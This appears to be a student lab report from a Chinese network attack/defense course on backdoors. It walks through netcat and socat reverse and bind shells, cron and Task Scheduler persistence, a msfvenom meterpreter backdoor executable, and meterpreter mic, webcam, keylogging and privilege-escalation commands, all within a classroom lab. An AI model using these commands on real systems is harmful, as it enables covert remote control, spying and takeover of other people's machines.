2018-2019-2 网络对抗技术 20165329 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165329 Exp2 后门原理与实践
1.实验内容 (3.5分)
(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。
2.报告内容:
(问题是为了让你思考,并没有标准答案。请勿抄袭,抄袭0分!)
2.1.基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
(2)例举你知道的后门如何启动起来(win及linux)的方式?
(3)Meterpreter有哪些给你映像深刻的功能?
(4)如何发现自己有系统有没有被安装后门?
2.2.实验总结与体会
2.3.实践过程记录
3.报告评分 1 分
3.1 报告整体观感 0.5分
3.1.1 报告格式范围,版面整洁 加0.5。
3.1.2 报告排版混乱,加0分。
3.2 文字表述 0.5 分
3.2.1报告文字内容全面,表述清晰准确 加0.5分。
3.2.2报告表述不清或文字有明显抄袭可能 加0分
4. 实践验收 -1到+1分
4.1 根据实验内容现场要求完成操作约两项操作,每项 0.5分。
两项均完成且原理清楚 +1
完成一项且原理清楚 +0.5
两项均未完成 -1
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
我觉得是通过漏洞,然后当我们点击陌生链接,浏览不良网页导致挂马,下载可疑程序。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件。
Linux:通过crontab指令,计划任务启动。
(3)Meterpreter有哪些给你映像深刻的功能?
如果别人入侵了我的电脑可以拍照,导致隐私泄露。
(4)如何发现自己有系统有没有被安装后门?
首先打开防火墙,然后安装杀毒软件,实时监控电脑,对系统进行检测,最后查看任务计划程序、开机自启动项、注册表项中是否有可疑程序。
实验总结与体会
通过实验我们可以监控别人的电脑,我感觉网络上很不安全,平时我们不要做网络的不安全行为,多用杀毒软件时不时检查电脑,洁身自好不去随意浏览不良网页,不去随意点击可疑网址。
实验遇到的问题及解决方法
本次实验杀毒软件会检测出来,用360信任后面程序就能正常进行。
实践过程记录
1、实验前的连接和准备工作
Windows获得Linux Shell
- 在Windows下使用
ipconfig
查看本机IP
- 使用ncat.exe程序打开监听
ncat.exe -l -p 5329
- 在kali中反弹连接Windows,
netcat 192.168.1.200 5329 -e /bin/sh
,使用-e
选项执行shell程序
- Windows成功获得kali的shell
Linux获得Windows Shell
- 在kali中使用
ifconfig
查看IP
- 打开监听
nc -l -p 5329
- kali成功获得Windows的命令提示
使用nc传输数据
-
Windows下监听
5329
端口,ncat.exe -l 5329
-
kali反弹连接到Windows的
5329
端口,nc 192.168.1.200 5329
-
连接建立成功,双方可以相互传输数据
使用nc传输文件
-
Windows下监听
5329
端口,并把收到的数据保存到file1.out
中,ncat.exe -l 5329 > file1.out
-
kali反弹连接到Windows的
5329
端口,nc 192.168.1.200 5329 < file1.in
-
连接建立成功,Win可以收到kali发来的文件。
2、开始实验任务
任务一:使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。
-
在Windows系统下,监听
5329
端口。 -
在Kali环境下,用
crontab -e
指令编辑一条定时任务。 -
在最后一行添加
55 * * * * /bin/netcat 192.168.1.200 5329 -e /bin/sh
,意思是在每个小时的第55分钟反向连接Windows主机的5329端口。
- 但时间到达55分钟时如下图所示:
实验一完成。
任务二:使用socat获取主机操作Shell, 任务计划启动
socat:
- socat是ncat的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
-
搜索打开“计算机管理”
-
在“任务计划程序”中“创建任务”
-
填写任务名->新建一个触发器
-
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:5329 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口5329
,同时把cmd.exe
的stderr
重定向到stdout
上:
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
- 此时,在Kali环境下输入指令
socat - tcp:192.168.1.200:5329
,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5329
端口,此时可以发现已经成功获得了一个cmd shell
第二个任务完成。
任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT=5329 -f exe > 20165329_backdoor.exe
,可见已经生成了后门程序“20165329_backdoor.exe” -
在Windows下执行
ncat.exe -l 5329 > 20165329_backdoor.exe
,这样被控主机就进入了接收文件模式。 -
在Linux中执行
nc 192.168.1.200 5329 < 20165329_backdoor.exe
,注意这里的IP为被控主机IP,即WindowsIP -
传送接收文件成功,如下图所示
-
在Kali上使用msfconsole指令进入msf控制台。
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
set LHOST 192.168.1.155
,这里用的是LinuxIP,和生成后门程序时指定的IP相同 -
set LPORT 5329
,同样要使用相同的端口 -
运行Windows下的后门程序
-
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
第三个任务完成。
任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
使用
record_mic
指令可以截获一段音频。 -
使用
webcam_snap
指令可以使用摄像头进行拍照 -
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
-
使用
screenshot
指令可以进行截屏,效果如下:
- 先使用
getuid
指令查看当前用户。
- 使用
getsystem
指令进行提权。
第四个任务完成。